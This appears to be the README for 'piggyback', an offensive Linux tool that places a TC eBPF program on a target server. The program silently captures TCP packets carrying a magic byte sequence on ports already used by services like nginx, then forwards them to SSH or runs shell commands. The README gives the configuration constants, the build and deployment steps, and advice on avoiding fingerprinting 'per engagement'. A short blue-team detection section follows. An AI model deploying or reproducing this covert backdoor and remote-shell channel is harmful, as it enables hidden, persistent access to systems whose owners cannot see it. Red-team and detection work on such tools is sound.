# piggyback Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, and forwards or executes them. Normal traffic is unaffected. Zero changes to existing services. ``` Mode 1 — Plain TCP Client Server (:80) │── TCP packet ────────────→ TC eBPF ingress │ [MAGIC][header][payload] magic match? │ YES → TC_ACT_STOLEN → daemon │ NO → TC_ACT_OK → app (nginx etc.) Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL) Client Middleware (:443) Server (:80) │── valid TLS ──→ │ │ │ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress │ inside │ (inner bytes fwd) magic match? → same as Mode 1 ``` Mode 2 is identical server-side. Client establishes real TLS with a configurable SNI so middleware routing works. Server never handles TLS — simpler, smaller surface. --- ## Requirements - Linux 5.8+ (ring buffer + sk_lookup) - Root / `CAP_NET_ADMIN` + `CAP_BPF` - `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl` ```bash # Fedora sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel # Debian/Ubuntu sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev ``` --- ## Configuration All config is compile-time. Edit the constants at the top of each file, then `make`. ### `piggyback.bpf.c` — eBPF kernel program ```c #define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT) #define PORTS_N 2 #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync) ``` ### `piggyback.c` — server daemon ```c #define IFACE "" // "" = auto-detect default-route interface #define LISTEN_PORT 80 // must match eBPF PORTS array #define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) #define FWD_PORT 22 // default forward target port #define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check) #define VERBOSE 0 #define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection #define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen` ``` ### `pb-client.c` — client ```c #define SERVER_IP "1.2.3.4" #define SERVER_PORT 80 #define LOCAL_PORT 2222 // ssh -p 2222 localhost #define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS #define SNI "" // required for MODE_TLS — change per engagement #define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth #define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL #define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD) #define TARGET_PORT 22 #define SHELL_CMD "bash" // (ACTION_SHELL) ``` > **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement. --- ## Build ```bash make ``` ### Generate Ed25519 keypair (for auth) ```bash make keygen # Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c # Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target) ``` --- ## Usage ```bash # Server (target machine) sudo ./piggyback # Client (operator machine) ./pb-client # Then connect locally ssh -p 2222 user@localhost ``` No CLI flags — all config is baked into the binary at compile time. --- ## Auth flow (AUTH_ENABLED=1) 1. `make keygen` — generate Ed25519 keypair 2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon 3. Set `KEY_PATH` in `pb-client.c`, recompile client 4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd 5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring 6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`) 7. On fail: connection dropped silently Signed header format (80 bytes): ``` [0..7] unix timestamp, big-endian uint64 [8] action (0x01 = forward, 0x02 = shell) [9..12] target IPv4 (forward) or zeros [13..14] target port big-endian or zeros [15] reserved [16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes) ``` Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host. --- ## Detection (Blue Team) ```bash tc filter show dev eth0 ingress # TC eBPF filters on interface bpftool prog list # all loaded eBPF programs bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock) ``` Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs on internet-facing interfaces. --- ## Known Limitations - **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP; IPv6 forward targets require header format extension - **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry; with REPLAY_WINDOW_SEC=30 this is sufficient for normal use - **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to connect-back mode (works except behind strict NAT) - **Magic must fit in first ~6 TCP payload bytes** — split across segments handled by per-connection eBPF state machine, but only within a 6-byte sliding window per packet; edge cases with very small MSS possible